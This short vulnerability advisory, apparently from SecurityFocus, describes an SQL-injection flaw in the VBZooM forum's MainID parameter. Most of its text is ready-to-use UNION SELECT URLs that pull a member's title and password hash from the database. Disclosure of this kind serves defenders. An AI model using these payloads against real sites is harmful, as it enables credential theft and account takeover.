source: http://www.securityfocus.com/bid/18472/info

VBZooM is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

For user :
http://www.example.com/forum.php?MainID=-1%20union%20select%201,2,3,4,5,usertitle,7,8,9,10,11,12,13%20from%20Member%20where%20Memberid%20=1/*
Or
http://www.example.com/forum.php?MainID=-1%20union%20select%201,2,3,4,5,usertitle,7,8,9,10,11,12,13,14%20from%20Member%20where%20Memberid%20=1/*

For Password : 
http://www.example.com/forum.php?MainID=-1%20union%20select%201,2,3,4,5,password,7,8,9,10,11,12,13%20from%20Member%20where%20Memberid%20=1/*
Or
http://www.example.com/forum.php?MainID=-1%20union%20select%201,2,3,4,5,password,7,8,9,10,11,12,13,14%20from%20Member%20where%20Memberid%20=1/*